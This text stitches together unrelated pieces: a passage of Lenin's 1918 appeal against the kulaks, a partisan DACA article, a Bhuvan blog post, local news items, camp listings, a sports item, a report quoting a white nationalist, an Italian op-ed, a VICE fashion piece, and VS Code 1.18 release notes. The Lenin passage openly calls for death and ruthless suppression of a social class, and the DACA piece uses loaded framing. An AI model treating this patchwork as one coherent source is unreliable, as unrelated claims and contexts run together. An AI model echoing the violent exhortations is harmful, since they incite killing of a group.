Russian workers and peasants to British and French capital, to squeeze out of them interest on the billions advanced in loans, and to extinguish the fire of socialist revolution which has broken out in our country and which is threatening to spread across the world.  The British and Japanese imperialist savages are not strong enough to occupy and subjugate Russia. Even neighbouring Germany is not strong enough for that, as was shown by her “experience” in the Ukraine. The British and Japanese counted on taking us unawares. They failed. The Petrograd workers, followed by the Moscow workers, and after Moscow the workers of the entire central industrial region, are rising more untidily, with growing persistence and courage and in ever larger numbers. That is a sure sign we shall win.  In launching their attack on peaceful Russia the British and Japanese capitalist robbers are also counting on alliance with the internal enemy of the Soviet government. We all know who that internal enemy is. It is the capitalists, the landowners, the kulaks, and their offspring, who hate the government of the workers and working peasants-the peasants who do not suck the blood of their fellow-villagers.  A wave of kulak revolts is sweeping across Russia. The kulak hates the Soviet government like poison and is prepared to strangle and massacre hundreds of thousands of workers. We know very well that if the kulaks were to gain the upper hand they would ruthlessly slaughter hundreds of thousands of workers, in alliance with the landowners and capitalists, restore back-breaking conditions for the workers, abolish the eight-hour day and hand back the mills and factories to the capitalists.  That was the case in all earlier European revolutions when, as a result of the weakness of the workers, the kulaks succeeded in turning back from a republic to a monarchy, from a working people’s government to the despotism of the exploiters, the rich and the parasites. This happened before our very eyes in Latvia, Finland, the Ukraine and Georgia. Everywhere the avaricious, bloated and bestial kulaks joined hands with the landowners and capitalists against the workers and against the poor generally. Everywhere the kulaks wreaked their vengeance on the working class with incredible ferocity. Everywhere they joined hands with the foreign capitalists against the workers of their own country. That is the way the Cadets, the Right Socialist-Revolutionaries and the Mensheviks have been acting: we have only to remember their exploits in “Czechoslovakia”.[22] That is the way the Left Socialist-Revolutionaries, in their crass stupidity and spinelessness, acted too when they revolted in Moscow, thus assisting the whiteguards in Yaroslavi and the Czechs and the Whites in Kazan. No wonder these Left Socialist-Revolutionaries were praised by Kerensky and his friends, the French imperialists.  There is no doubt about it. The kulaks are rabid foes of the Soviet government. Either the kulaks massacre vast numbers of workers, or the workers ruthlessly suppress the revolts of the predatory kulak minority of the people against the working people’s government. There can be no middle course. Peace is out of the question: even if they have quarrelled, the kulak can easily come to terms with the landowner, the tsar and the priest, but with the working class never.  That is why we call the fight against the kulaks the last, decisive fight. That does not mean there may not be many more kulak revolts, or that there may not be many more attacks on the Soviet government by foreign capitalism. The words, the last fight, imply that the last and most numerous of the exploiting classes has revolted against us in our country.  The kulaks are the most brutal, callous and savage exploiters, who in the history of other countries have time and again restored the power of the landowners, tsars, priests and capitalists. The kulaks are more numerous than the landowners and capitalists. Nevertheless, they are a minority.  Let us take it that there are about fifteen million peasant families in Russia, taking Russia as she was before the robbers deprived her of the Ukraine and other territories. Of these fifteen million, probably ten million are poor peasants who live by selling their labour power, or who are in bondage to the rich, or who lack grain surpluses and have been most impoverished by the burdens of war. About three million must be regarded as middle peasants, while barely two million consist of kulaks, rich peasants, grain profiteers. These bloodsuckers have grown rich on the want suffered by the people in the war; they have raked in thousands and hundreds of thousands of rubles by pushing up the price of grain and other products. These spiders have grown fat at the expense of the peasants ruined by the war, at the expense of the starving workers. These leeches have sucked the blood of the working people and grown richer as the workers in the cities and factories starved. These vampires have been gathering the landed estates into their hands; they continue to enslave the poor peasants.  Ruthless war on the kulaks! Death to them! Hatred and contempt for the parties which defend them-the Right Socialist-Revolutionaries, the Mensheviks, and today's Left Socialist-Revolutionaries! The workers must crush the revolts of the kulaks with an iron hand, the kulaks who are forming an alliance with the foreign capitalists against the working people of their own country.  The kulaks take advantage of the ignorance, the disunity and isolation of the poor peasants. They incite them against the workers. Sometimes they bribe them while permitting them to "make a bit", a hundred rubles or so, by profiteering in grain (at the same time robbing the poor peasants of many thousands of rubles). The kulaks try to win the support of the middle peasants, and they sometimes succeed.  But there is no reason why the working class should quarrel with the middle peasant. The workers cannot come to terms with the kulak, but they may seek, and are seeking, an agreement with the middle peasant. The workers' government, the Bolshevik government, has proved that in deed.  We proved it by passing the law on the "socialisation of land" and strictly carrying it into effect. That law contains numerous concessions to the interests and views of the middle peasant.  We proved it (the other day) by trebling grain prices"; for we fully realise that the earnings of the middle peasant are often disproportionate to present-day prices for manufactured goods and must be raised.  Every class-conscious worker will explain this to the middle peasant and will patiently, persistently, and repeatedly point out to him that socialism is infinitely more beneficial for him than a government of the tsars, landowners and capitalists.  The workers' government has never wronged and never will wrong the middle peasant. But the government of the tsars, landowners, capitalists and kulaks not only always wronged the middle peasant, but stifled, plundered, and ruined him outright. And this is true of all countries without exception, Russia included.  The class-conscious worker’s programme is the closest alliance and complete unity with the poor peasants; concessions to and agreement with the middle peasants; ruthless suppression of the kulaks, those bloodsuckers, vampires, plunderers of the people and profiteers, who batten on famine. That is the policy of the working class.  Endnotes
-Attorney General Jeff Sessions defended his ending of a President Obama-created temporary amnesty program for illegal aliens, saying it “cannot be defended” under the Rule of Law.  In a speech to the Federalist Society, Sessions — a pioneer of the immigration in the national interest movement — blasted the Obama administration’s creation of the Deferred Action for Childhood Arrivals (DACA) program that has given temporary amnesty to nearly 800,000 illegal aliens.  “Similarly, no Cabinet Secretary has the power, through guidance, letters or otherwise, to wipe entire sections of immigration law,” Sessions said. “But that’s what the previous administration did with its Deferred Action for Childhood Arrivals, or DACA, policy.”  “Under DACA—without the consent of Congress—individuals here illegally who met certain criteria were granted not only lawful presence but work authorization, and the right to participate in Social Security, which unlawful immigrants are not entitled to have,” Sessions continued. “So no matter what one thinks about the immigration issues and policy, it cannot be defended in my opinion lawfully.”  “Once again, the Department advised and the administration put an end to it—and it is being ended now.”  In September, Sessions announced on behalf of President Trump’s administration that the DACA program would officially end in March 2018 and applications for illegal aliens to sign up for the program would end in October 2017.  Most recently, Department of Homeland Security (DHS) Acting Secretary Elaine Duke directed that the United States Immigration and Citizenship Services (USCIS) agency reopen the DACA program to allow more than 100 illegal aliens to gain temporary amnesty status before the program is ended. Applicants who can show “individualized proof” of mail delivery problems can reapply for extensions.  Meanwhile, Trump’s nominee to lead DHS, Kirstjen Nielsen, has confirmed that she will proactively work with members of Congress to help push an amnesty for DACA illegal aliens, despite the potential 9.9 million to 19 million chain migration that could follow such a decision and the negative impact it would have on America’s working and middle classes.
-Indian Space Research Organization (ISRO) has developed India’s answer to Google Earth which is named as Bhuvan. It means “Earth” in Sanskrit language. Bhuvan is a project fully developed by Indians in ISRO where they have used the Indian satellites to get images.  How To Use Bhuvan  First of all you need to register yourself on Bhuvan registration page. To use Bhuvan, you need to install a plugin provided on that website only. That plug-in is of size around 11MB which will not take much time to install. Once the installation will be done, go to the Start – Programs and click on “Bhuvan”. It will open the Bhuvan webpage from where you can click on the “Enter” button available on the website.  Welcome to Bhuvan!  Why Bhuvan? Google Earth is already there.  This is a natural question which will arise in your mind but checkout some of the advantages which are there in Bhuvan and not available in Google Earth. Comparison detail mentioned below is an extract from timesofindia page,  Google Earth Bhuvan Zoom levels up to 200 meter Zoom levels up to 10 meter Single layer information Multi-layer information Images upgraded every 4 year Images upgraded every year No alternate viewing options Options of viewing on different dates Uses international satellites Uses Indian satellites  Bhuvan will help Indian government and people to trace different locations, agricultural needs and many more.  Since the bandwidth and Internet Speed is a big issue in India, that’s why Bhuvan team has developed it in such a way that it can be browsed on low speed internet connection as well. Here we have attached some of the screenshots from Bhuvan thru which you can feel the resolution and functionality of Bhuvan.  Screenshots from Bhuvan  Taj Mahal on Bhuvan  New Delhi on Bhuvan  India on Bhuvan  Current Limitations:  I was facing problem while exploring Bhuvan on Firefox and other browsers. Now shifted to Internet Explorer and found that it is working properly. Make Internet Explorer a default browser on your PC and browse Bhuvan over there. Since Bhuvan is still in development phase (Beta) so the image quality is not at its best, we hope that it will provide good quality images in near future.
-A 10,000-square feet open space plot at Nariman Point, where the BJP’s state headquarters stand, could be de-reserved by the civic body, which has proposed the land be allowed for commercial use.  In April 2013, the BMC had served the BJP a notice for unauthorised construction on the plot. If the de-reservation goes through, the structure may get regularised, while the city will lose out on another green space.  The BMC’s move comes even though resident groups have filed a petition in the Bombay high court (HC) asking for the open space to be reclaimed for public use by evicting the offices of political parties such as the BJP and the Janata Dal (Secular).  In June 2013, HT had reported that residents found the BJP had made illegal alterations and additions to their office. The PWD, which owns the land, said it will open the rest of the garden up for residents.  But in the draft development plan the BMC released on Monday, it sought to de-reserve the space — Jawaharlal Nehru garden. When the civic body had served the party with a show-cause notice in 2013 over the construction, the BJP proposed that the civic body regularises it.  The garden has been marked as a recreational ground ever since the city’s first development plan in 1967 . In the 1980s, the PWD allotted it on a temporary basis to the two parties. Later, some of the area was also allotted to the Maharashtra Tourism Development Corporation (MTDC). In the new DP, the BMC said it plans to lower open spaces standards in the city, because of paucity of land.  “While the report claims there are few open spaces in the city, it [civic body] is trying to subvert even the existing open spaces by de-reserving them. This is extremely condemnable,” said Pankaj Joshi, executive director of the Urban Design Research Institute.  Locals are shocked at the de-reservation. “This is a devious way adopted by the ruling party to ensure their illegalities are legalised. This is very shocking,” said Nayana Kathpalia, an open spaces crusader and a trustee with NAGAR.  BMC chief Sitaram Kunte said he would comment on the matter later.City may lose Nariman Point garden to BJP headquarters.  First Published: Feb 20, 2015 01:18 IST
-Drama as taxi smashes into a cafe in Gorleston High Street  Taxi crashes into Flour & Bean cafe and bakery in Gorleston High Street. Picture from @born1878 on Twitter. Archant  A taxi has crashed into a cafe in Gorleston High Street.  Share Email this article to a friend To send a link to this page you must be logged in.  A taxi has crashed into a cafe in Gorleston High Street.  Emergency services and building surveyors were called at 9.20am today after a car smashed into the front of the Flour and Bean cafe and bakery. The car did not go into the cafe, but one woman in her 40s was treated by an ambulance crew.  A spokesman for the East of England Ambulance Service said her injuries were not believed to be serious but she will probably be taken to hospital.  A spokesman for Norfolk police, who received a call from a neighbouring shop seconds after the crash, said a building control officer from Great Yarmouth Borough Council went to the scene to assess the damage.  She said: “The road remains open and the owner of the taxi is arranging for the vehicle to be removed.”  Norfolk Fire and Rescue Service crews have also been at the scene.  Picture taken by @born1878 and posted on Twitter.
-SUMMER DAY CAMPS 2018  This summer we will be hosting two camps for middle school-aged students interested in board games (May 30 – June 1) and board game design (June 11–15).  Spielbound Board Game Essentials Day Camp  date_range May, 30, 2018 – June 1, 2018  May, 30, 2018 – June 1, 2018 alarm 9:00 AM to 3:00 PM (CDT)  9:00 AM to 3:00 PM (CDT) place Spielbound Board Game Cafe  Spielbound Board Game Cafe payment $95.15 via EventBrite  $95.15 via EventBrite email greg [at] spielbound.org  From May 30th to June 1st, Spielbound will be hosting a three-day board game camp for middle school students. Board games can be an instrumental tool to grow and encourage skills in spatial reasoning, math, critical thinking, group work and cooperation. Throughout the days, students will have an opportunity to learn games from multiple genres with the help of Spielbound staff and volunteers. The games selected for the camp will give students a comprehensive understanding of the skills and fun to be gained through collaboration and play. The final day will end with a session where parents and Spielbound volunteers will learn games from the student in the camp. Lunch will be provided each day, send any dietary restrictions or accessibility requests to greg [at] spielbound.org and we will work to accomodate them in advance.  Board Game Design Day Camp  date_range June 11, 2018 – June 15, 2018  June 11, 2018 – June 15, 2018 alarm 9:00 AM to 3:00 PM (CDT)  9:00 AM to 3:00 PM (CDT) place Spielbound Board Game Cafe  Spielbound Board Game Cafe payment $167.24 via EventBrite  $167.24 via EventBrite email greg [at] spielbound.org  From June 11th to June 15th, Spielbound will be hosting a five-day board game design camp for middle school students. Board games can be an instrumental tool to grow and encourage skills in spatial reasoning, math, critical thinking, group work and cooperation. Throughout this camp, students will have an opportunity to learn games from multiple genres with the help of Spielbound staff and volunteers, to identify the structures of board game design, and to then design a working prototype of their own original board game. They will get to work with members of Spielbound's Spielmason board game design group, who have printed and published multiple games. The games selected for the camp will give students a comprehensive understanding of the skills and fun to be gained through collaboration and play, and the design process will help them gain skills in graphic design, creative writing, and collaboration.  The camp will end on Friday the 15th with a demo session where students will teach their games to family, friends, and Spielbound volunteers from 3pm-5pm.  Lunch will be provided each day, send any dietary restrictions, accessibility needs, or questions of any kind to greg [at] spielbound.org and we will work to accomodate them in advance and get you the answers we need.
-Getty Images  Packers coach Mike McCarthy kicked off the offseason by saying that running back Eddie Lacy can’t play at the same weight in 2016 that he played at in 2015, so there’s no doubt that the Packers asked Lacy to drop some pounds this offseason.  McCarthy disputes just how much fat they wanted Lacy to trim, however. There have been reports that the team wanted Lacy to lose 30 pounds, but McCarthy said that wasn’t the case while speaking from the Scouting Combine in Indianapolis on Thursday.  “The numbers that have been out there about his weight are inaccurate,” McCarthy said, via ESPN.com. “The Green Bay Packers have never, ever asked him to lose 30 pounds. That’s totally out of the realm of what we’re talking about. That’s the facts there. He’ll learn from this.”  McCarthy also confirmed that Lacy has spoken with Tony Horton, who created the P90X workout program, about a workout plan for the offseason to get to whatever weight it is that the Packers have prescribed for the back. McCarthy said he’s confident that Lacy will reach that goal and that the Packers will “see definitely a different guy in April, and more importantly in July.”
-Ryan Roy, a former Pizzeria Uno cook who was fired for attending a white nationalist rally (Screen cap).  Another day, another Charlottesville white nationalist who finds himself out of work.  The Burlington Free Press reports that Ryan Roy, who had worked as a cook at a South Burlington Pizzeria Uno, was fired from his job after activists identified him as an attendee at last week’s white nationalist rally in Charlottesville, Virginia.  “Ryan Roy has been terminated,” Skip Weldon, chief marketing officer for Pizzeria Uno, told the publication. “We are committed to the fair treatment of all people and the safety of our guests and employees at our restaurants.”  In an interview with the Free Press, Roy decried the liberal activists who got him fired from his job and alleged they weren’t tolerant of his belief that white Americans should have their own country that is separate from all racial minorities.  “I think it kind of just proves my point, proves a lot of what I think, not that I needed further proof,” Roy said. “I think it’s group think.”  Roy freely admitted to attending the rally, which he said was designed to advocate turning the United States back into a “white” country.  “Obviously I would advocate for racial separation and racial nationalism or repatriation or even a return to — our country was a white country up until the 1965 Hart-Celler Immigration Act,” he said.
-shadow  Angela Merkel, incontrando Matteo Renzi domani, si chiederà quanto il potere abbia cambiato l’uomo politico che lei ebbe la lungimiranza di invitare tre anni or sono a Berlino, quando egli aveva perso le primarie del Pd ed era solo il sindaco di una relativamente piccola città italiana. L’impressione deve essere stata favorevole perché in seguito, al primo Consiglio europeo cui Renzi partecipò, lo presentò come «il mio amico Matteo». Forse in quel momento, volgendo lo sguardo intorno al tavolo e osservando la modestia politica dei partecipanti, Angela Merkel coltivò la speranza che quel giovane italiano ne potesse assumere la guida e aiutarla nel faticoso compito di rendere più solide le istituzioni europee.  Da quel giorno si sono alternate conferme e delusioni. Conferme per la capacità di portare in porto riforme che da anni venivano millantate, senza che nessun governo riuscisse a farle. Delusioni perché Renzi non è riuscito — forse non ha neppure provato? — a consolidare la sua posizione nel Consiglio europeo e a diventare un punto di riferimento. Come molti suoi predecessori non è andato al di là di qualche battaglia in difesa di legittimi interessi nazionali. Battaglie condotte male per di più, senza capire, ad esempio, che per essere influenti a Bruxelles sui dossier per noi più importanti sarebbe stato meglio chiedere i posti di commissario europeo alla Concorrenza o di direttore del dipartimento che si occupa di Aiuti di Stato.  Invece il posto di Alto rappresentante per gli Affari esteri che abbiamo ottenuto è di grande prestigio ma, come si è visto, del tutto inutile per quei dossier. Angela Merkel è l’unico vero statista in Europa, il solo capace di non abbandonare un progetto in cui crede anche se ciò significa, come si è visto durante la crisi dei rifugiati, sfidare l’opinione pubblica del proprio Paese. L’unico, nella tradizione di Konrad Adenauer, Helmut Schmidt e Helmut Kohl, che si chieda come contribuire alla Storia del suo Paese e quale futuro si debba costruire. Se Helmut Kohl sarà ricordato per l’unificazione della Germania, Angela Merkel vuole essere ricordata come il cancelliere che ha salvato l’Unione Europea. Ma ha bisogno di alleati, e oggi in Europa ne ha pochi.  A Est Polonia e Ungheria hanno imboccato una strada che li sta allontanando dai principi di democrazia che sottostanno al progetto europeo. La Gran Bretagna si prepara a un voto in cui potrebbe decidere di abbandonare l’Unione. Portogallo e Spagna hanno perduto l’equilibrio politico e non riescono a formare governi stabili. La Francia, alleato storico, è incapace di riformarsi e quindi indebolita. In questo quadro deprimente l’Italia può essere l’alleato indipendente e leale di Angela Merkel. Un’occasione unica di poter contribuire alla costruzione dell’Europa in cui vivremo guardando al di là del proprio orticello.  Per giocare questo ruolo il presidente del Consiglio deve convincersi che senza Europa nessun Paese può farcela da solo (basti guardare alla vicenda greca). Incominciando con il discutere in modo intelligente le proposte contenute nel Rapporto dei cinque presidenti sul completamento dell’Unione monetaria e proporre che l’argomento sia posto all’ordine del giorno del Consiglio europeo del 18 febbraio.
-In Thailand, and increasingly in places like Indonesia and China, braces are becoming a huge teenage fashion statement. Which is pretty strange considering in the West, braces are ruthlessly stigmatized and pretty much a metaphor for adolescent awkwardness.  In the countries mentioned above, however, braces are considered a sign of wealth, status, and style. The reasoning is fairly straightforward—genuine orthodontic braces are very expensive. In Bangkok, for example, a set of tinsel-teeth will cost you roughly $1200, a substantial sum for a country with a GDP of $345 billion (the US had a GDP of $15.06 trillion in 2011). So all the kids want to wear these things, because anything worn by the young and rich is obviously super cute.  Earn the Star.  This positive perception of braces is no doubt partly due to their popularity among young celebrities like Thai pop singer Earn the Star and Indonesian heartthrob Andika Kangen. Several Indonesian and Thai websites also appear to be littered with pictures of Gwen Stefani in her braces in the late 90s, which she recently confessed were a "fashion choice."  After clicking on countless fashion braces blogs and bearing witness to the sheer variety of colors and shapes available, I started to channel my 10-year-old self flipping out about all the cute, colorful jewelry at Claire's Accessories in Glendale Mall, circa 1997. I could even vaguely recall being jealous of the kids in my school who had braces, or crutches, and especially the ones with colorful casts for their broken arms, which everyone would draw on. Why didn't I get to walk around all day with poorly drawn penises on my arm?  But like any other popular commodity that is both really expensive and "really cute," supply inevitably rises to meet demand. The market is now flooded with numerous knockoffs and fakes. In Indonesia, fashion braces—which are called kawat gigi untuk gaya or behel—will run you a mere $100.  And the best part about fashion braces is you don’t even need to see a medical professional. It is not uncommon for Indonesian beauty salons to slap braces on people's faces. If even that seems like too much of a hassle, DIY kits can be purchased from open-air stalls at local markets and through many online retailers. On this site, you can choose between "flowers," "kitty," "power O," and "Mickey"—as in the mouse. Another online retailer has made a video montage advertising the vast array of possibilities fashion braces have to offer the trendsetting Thai tween.  Even legit braces have health risks, such as tooth decay and decalcification, gingivitis, mouth sores, soft tissue inflammation, and root resorption, but apparently the health risks of fashion braces are even more severe.  While a nice set of faux pink Hello Kitty braces might be super cute, they can, according to the press, also be super deadly. So far, fake braces have been linked to the deaths of two Thai teens. A pair of shoddy braces was blamed for the death of a 17-year-old in the northeast city of Khon Kaen from a thyroid infection, which rapidly progressed to fatal heart failure. Then, in Chonburi, police tied the death of a 14-year-old girl to braces purchased at an illegal open-air stall.  The response of the Thai government was to ban the importation, production, and sale of fashion braces completely. Selling fake braces is now punishable by up to six months in prison and carries a hefty fine of 50,000 baht—roughly $1300. For importers and producers of fake braces, the punishment is anywhere up to a year in prison. Thailand's Consumer Protection Board has said some of the wires in the fake braces seized in raids have contained lead.  Unsurprisingly, these measures seem to have only pushed things further underground, creating a sort of fake braces black market in which DIY kits continue to be sold both online and discreetly at certain flea markets. Fake braces have also come to be associated with a scrappy motorbike subculture known as dek wehn wehn. (Dek is Thai for "kids," and wehn wehn is an onomatopoeia for the sound of a motorbike revving up.)  In Indonesia, where fashion braces remain legal, the trend is no longer limited to tweens—adults are purchasing them too. Some travelers have noted that in certain hotels in Indonesia, it is difficult to locate a member of the staff who doesn't have a potentially lead-lined grin.  For more weird fashion, visit VICE Style.
-Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email  Tributes have poured in following the sudden death of a 16-year-old soccer player.  Izzy Dezu collapsed while playing for the Shelbourne FC youth academy during a game against St Kevin's Boys at the AUL Complex on Clonshaugh Road, north Dublin.  The talented footballer's club led the way with tributes on Wednesday.  In a statement, Shelbourne FC said: "We are heartbroken to have to confirm the news that our Academy U16 player, Izzy Dezu, collapsed and died during a match at the AUL Complex last night.  "The thoughts of everyone at Shelbourne FC are with his family, friends, teammates and coaches who have been devastated by his tragic loss.  "May he rest in peace."  Izzy's friends took to social media on Wednesday to share heartfelt messages.  One pal said: "It's killing me having to write this, but today I lost someone very special, but not only special to me but special to a lot of people that knew him.  "Izzy Dezu was one of the best and he left a huge gap in my life today.  "We used to absolutely kill eachother everyday of the week but still no matter what, [we] always had eachother's backs and had the best laughs when we where together.  "No matter what I'll never ever forget you and neither will any of the boys.  "You of all people this happens to "the big friendly giant" not once have I ever seen you harm someone or be nasty.  "You had a heart of gold man and everyone loved you for that."  St Kevin's Boys also issued a statement passing on their condolences to the club and said that it's "very sad for the whole game of football" when something this tragic happens.  They said: "We at St Kevin’s Boys FC would like to pass on our condolences to the family, friends and everybody at Shelbourne FC after their young academy player Izzy Dezu collapsed and died in a game last night.  "It's very sad for the whole game of football when something as tragic as this happens in a football match. We would like to thank all the people who rushed over and gave the best medical attention until the medics arrived.  "People from Shelbourne, SKB, Shamrock Rovers and Bohemian Football Club were there to help, football clubs coming together to help a young man. R.I.P."  Collinstown FC also passed on their condolences.  They said in a statement: "Collinstown FC would like to pass on our condolences to the family, friends and everybody at Shelbourne FC after their young U16 academy player Izzy Dezu collapsed and died in a game DDSL game last night."
-October 2017 (version 1.18)  Update 1.18.1: The update addresses these issues.  Downloads: Windows | Mac | Linux 64-bit: .tar.gz .deb .rpm | Linux 32-bit: .tar.gz .deb .rpm  Welcome to the October 2017 release of Visual Studio Code. There are a number of significant updates in this release and we completed several popular outstanding feature requests. We hope you like it and the highlights include:  If you'd like to read these release notes online, go to Updates on code.visualstudio.com.  You can also check out this 1.18 release highlights video from Cloud Developer Advocate Brian Clark.  The release notes are arranged in the following sections related to VS Code focus areas. Here are some further updates:  Workbench - Blue product logo, panels overflow support, file move confirmation.  - Blue product logo, panels overflow support, file move confirmation. Integrated Terminal - Better Windows support, show faint text, unset environment keys.  - Better Windows support, show faint text, unset environment keys. Source Control - Inline pending change view, File Explorer indicators.  - Inline pending change view, File Explorer indicators. Languages - TypeScript 2.6.1, localized JS/TS messages, IntelliSense inside strings and comments.  - TypeScript 2.6.1, localized JS/TS messages, IntelliSense inside strings and comments. Debugging - Debug configuration in the Status Bar, Debug view focus commands, console coloring.  - Debug configuration in the Status Bar, Debug view focus commands, console coloring. Extension Authoring - ConfigurationChangeEvent, async Input Box validation, folder open/closed icons.  Insiders: Want to see new features as soon as possible? You can download the nightly Insiders build and try the latest updates as soon as they are available.  Workbench  Support for Multi Root Workspaces  Support for multi-root workspaces is now enabled by default in the Stable release. This was our #1 feature request - it's been a while coming but it's here now.  Please refer to our documentation for a full explanation of all of the multiple folder features: improvements to settings, our SCM experience, Tasks, Debugging and more.  NOTE: Extension authors should refer to our wiki that explains the new extension APIs to make your extension fully leverage multi-root workspaces.  Git status in File Explorer  To satisfy another very popular feature request, we added support to the File Explorer to show modified, added, conflicting, and ignored files in a different color and with a badge.  The Git file decorations can be customized in many ways. You can hide the decorations entirely with the git.decorations.enabled setting and configure to only show colors explorer.decorations.colors or badges explorer.decorations.badges . There are new colors for theme authors which are prefixed with gitDecoration .  There is also a proposed API to allow extension authors to add color decorations to arbitrary resources. We haven't finalized on anything yet but are eager to learn how you would use decorations.  Vertical panels  Per popular user request, we now support a vertical panel layout. Using the actions Move to Right and Move to Bottom in the panel title bar, panels can switch between being displayed on the bottom or the right side.  Panel title bar improvements  We have improved the panel title bar such that it is now possible to rearrange and hide panels as well as added overflow support. Overflow with the Additional Views dropdown is particularly useful when the panels are docked vertically and have limited horizontal space.  Blue logo for Stable  The VS Code logo for Stable releases is now blue again. You can read all about our icon journey in this blog post.  Note: Depending on your platform, you may still see the earlier logo due to operating system caching of the application icon.  Confirmations in File Explorer  We now present a confirmation dialog when moving files or folders in the File Explorer via drag and drop. This should prevent accidentally performing a move when not desired. If you don't want to see the confirmation dialog, you can configure explorer.confirmDragAndDrop to false .  We also added a new setting, explorer.confirmDelete , to optionally hide our existing delete confirmation dialog.  Note: We will always show a confirmation dialog when deleting a file or folder will bypass your platform's trash bin.  Quick Open applies .gitignore exclusions  Quick Open (⌘P (Windows, Linux Ctrl+P)) applies the exclusions from .gitignore files when enabled with the "search.useIgnoreFiles" setting.  Editor  Ctrl+D / Cmd+D improvements  Due to popular demand, the Add Selection to Next Find Match (⌘D (Windows, Linux Ctrl+D)) action has been modified to behave differently when you start adding multiple cursors with no selected text. In this case, the action will temporarily ignore the Find widget search options and will always search for whole words and case sensitive matches.  Navigate to next / previous symbolic highlight  Thanks to PR #35740 from Krzysztof Cieślak, it is now possible to navigate between highlighted symbols using F7 or Shift+F7 in languages where there is a semantic highlight provider. When you have a symbol selected, you can now quickly move to other instances of that symbol in your file.  Integrated Terminal  Faint text support  The terminal now supports the escape sequence for faint text:  Unset environment keys  You can already set custom environment variables for Integrated Terminal sessions but now you can also clear existing variables by assigning them to null in the terminal.integrated.env. settings:  "terminal.integrated.env.linux" : { " HOME ": null }  Improved Windows support  Windows support in the Integrated Terminal has been improved:  Deeply nested processes are now properly cleaned up after exiting the terminal session. This happened most frequently with servers launched from Node.js.  On Windows, the terminal received lines already wrapped so we don't know which lines are wrapped and which are separated by new lines. We now guess where lines are wrapped by checking the last character of the previous line and flag them as such. This fixes a problem with tasks where problem matchers would break on Windows and is also one of the prerequisites to get multiline links working on Windows.  Languages  TypeScript 2.6.1  VS Code 1.18 ships with TypeScript 2.6.1. This update provides VS Code with several exciting tooling improvements and also fixes a few bugs. You can read more about TypeScript 2.6 here.  Auto Import for JavaScript and TypeScript  Speed up your coding with auto imports for JavaScript and TypeScript. The suggestion list now includes all exported symbols in the current project. Just start typing:  If you choose one of the suggestion from another file or module, VS Code will automatically add an import for it. In this example, VS Code adds an import for Hercules to the top of the file:  Auto imports requires TypeScript 2.6+. You can disable auto imports by setting "typescript.autoImportSuggestions.enabled": false .  Localizable error messages and Quick Fix descriptions for JavaScript and TypeScript  JavaScript and TypeScript error messages and Quick Fix descriptions are now displayed in your current display language:  The "typescript.locale" setting lets you configure which language is used separately from your editor's display language. To revert to VS Code's 1.17 English only error messages, set "typescript.locale": "en" .  Extract local refactoring for JavaScript and TypeScript  VS Code 1.18 adds several new JavaScript and TypeScript refactorings in addition to the extract method refactoring added in VS Code 1.16. The extract constant refactoring creates a new local variable for the currently selected expression:  When working with classes, you can also extract a value to a new property.  Install @types Quick Fix for TypeScript  TypeScript now offers a Quick Fix to npm install missing @types definitions for a given module:  This Quick Fix will install the @types definition locally and add it to the devDependencies in your package.json .  Additional typescript.tsc.autoDetect settings  VS Code automatically generates both build and build+watch tasks for all tsconfig.json files in your workspace. In VS Code 1.18, the typescript.tsc.autoDetect setting now lets you control which kinds of tasks are generated:  "typescript.tsc.autoDetect" : "build" // only generate build tasks "typescript.tsc.autoDetect" : "watch" // only generate build+watch tasks "typescript.tsc.autoDetect" : "on" // Generate both (default) "typescript.tsc.autoDetect" : "off" // Don't generate tsconfig build tasks  Quick suggestions are disabled inside of strings and comments by default. In some cases, such as in JavaScript template strings, a string or comment may contain blocks of code where quick suggestions should be enabled. Grammars can now hint that VS Code should re-enable quick suggestions by adding a meta.embedded scope on tokens inside of a string or comment:  JSON  JSON now supports JSON Schema Draft 06. The most notable additions are the const , contains and propertyNames properties. Read here for a more detailed overview of changes from draft 04.  Source Control  Inline change review  You can now review source code changes right within the standard editor. This feature depends on whether it is supported by the source code provider but it is already enabled for Git repositories out of the box.  With this new UI, you can not only review your code changes but also navigate, stage or revert them inline.  Git: Conflict marker detection  When staging a file which is flagged as having conflicts due to a merge or rebase, VS Code will check for the standard merge markers (for example <<<<<<< ) and alert you if you forget to delete them when you are about to stage the file.  Git: Improved integration  Recently, there was a patch to Git which enables tools like VS Code to use git status without interfering with other concurrent Git commands. VS Code is now prepared for that upcoming Git change by using the right environment context ( GIT_OPTIONAL_LOCKS ) when spawning Git.  Extensions  Recommended extensions badge  Recommended extensions now display a badge to easily distinguish them from other extensions in a list. Hover on the badge or click the list item to learn why the extension was recommended to you.  Single view combining workspace and general recommendations  The two views for workspace recommended extensions and general recommended extensions are now combined into a single view with the two kinds of recommendations showing up in a split view. Use the command Extensions: Show Recommended Extensions to see this view.  There is also a handy Install All Workspace Recommendations command on the WORKSPACE RECOMMENDATIONS title bar to install all the extensions that are recommended by other users of your workspace.  You can edit workspace recommendations via the Configure Recommended Extensions (Workspace Folder) command in the same title bar.  Debugging  Debug in Status Bar  VS Code now shows the active debug launch configuration in the Status Bar. By clicking on the debug status, a user can change the active launch configuration and then start debugging without the need to open the Debug view.  Focus actions  We have introduced new actions to easily move keyboard focus to the various Debug sections. This should make it easier for keyboard centric users to navigate while debugging.  These actions are:  Focus Variables: workbench.debug.action.focusVariablesView  Focus Watch: workbench.debug.action.focusWatchView  Focus CallStack: workbench.debug.action.focusCallStackView  Focus Breakpoints: workbench.debug.action.focusBreakpointsView  Start without debugging shortcut  The default keyboard shortcut on macOS for Debug: Start Without Debugging changed to Ctrl+F5 to avoid a collision with an existing macOS keyboard shortcut.  Coloring of Debug Console evaluation results based on type  Debug console expressions are now colored based on the type property returned from the debug extension. This is currently supported by the Node.js debug extension.  A first glimpse of support for Node.js debugging in the Windows Subsystem for Linux (WSL) was already available in the previous milestone (but only for older versions of Node.js that still support the "legacy" protocol). In this milestone, another pull request by Bartosz Sosnowski (@bzoz) was integrated that adds support for the "inspector" protocol that is used by more recent versions of Node.js. With this update, it is now possible to run Node.js v8 in WSL.  Tasks  Schema improvements  The schema for the tasks.json file version 2.0.0 was updated. The taskName property is deprecated in favor of the label property to make it more consistent with contributed tasks. In addition, there is now a snippet for new tasks. By default, it creates a task of type shell to execute commands in the Integrated Terminal.  workspaceFolder replaces workspaceRoot  Last release, we deprecated the ${workspaceRoot} variable in favor of ${workspaceFolder} to make this consistent with multi-root workspace support. For the same reason, we are deprecating ${workspaceRootFolderName} . Please use ${workspaceFolderBasename} instead. This deprecation applies to debug launch configurations as well.  Performance improvements  Faster editor decorations  